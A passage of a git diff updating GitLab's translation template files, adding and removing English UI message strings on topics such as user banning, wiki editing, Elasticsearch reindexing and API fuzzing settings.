@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/hr_HR/gitlab.po b/locale/hr_HR/gitlab.po
index f0e830f7301..61bf66e49ce 100644
--- a/locale/hr_HR/gitlab.po
+++ b/locale/hr_HR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: hr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:12\n"
+"PO-Revision-Date: 2021-06-01 20:23\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -304,6 +304,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -619,9 +625,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -724,10 +727,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -868,6 +871,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -919,9 +928,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1042,9 +1048,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1108,9 +1120,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1468,6 +1477,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1489,6 +1501,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1558,9 +1573,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1573,6 +1585,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1618,9 +1633,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1660,30 +1672,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1699,7 +1705,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1726,6 +1732,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1993,6 +2008,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2269,6 +2287,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2434,9 +2455,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2449,9 +2467,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2476,9 +2491,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2524,6 +2536,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2542,6 +2557,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2590,6 +2608,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2620,6 +2653,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2674,6 +2710,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2755,6 +2794,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2770,6 +2818,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2782,6 +2836,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2806,6 +2863,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2818,6 +2878,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2863,9 +2926,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2905,9 +2965,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3277,9 +3334,6 @@ msgstr ""
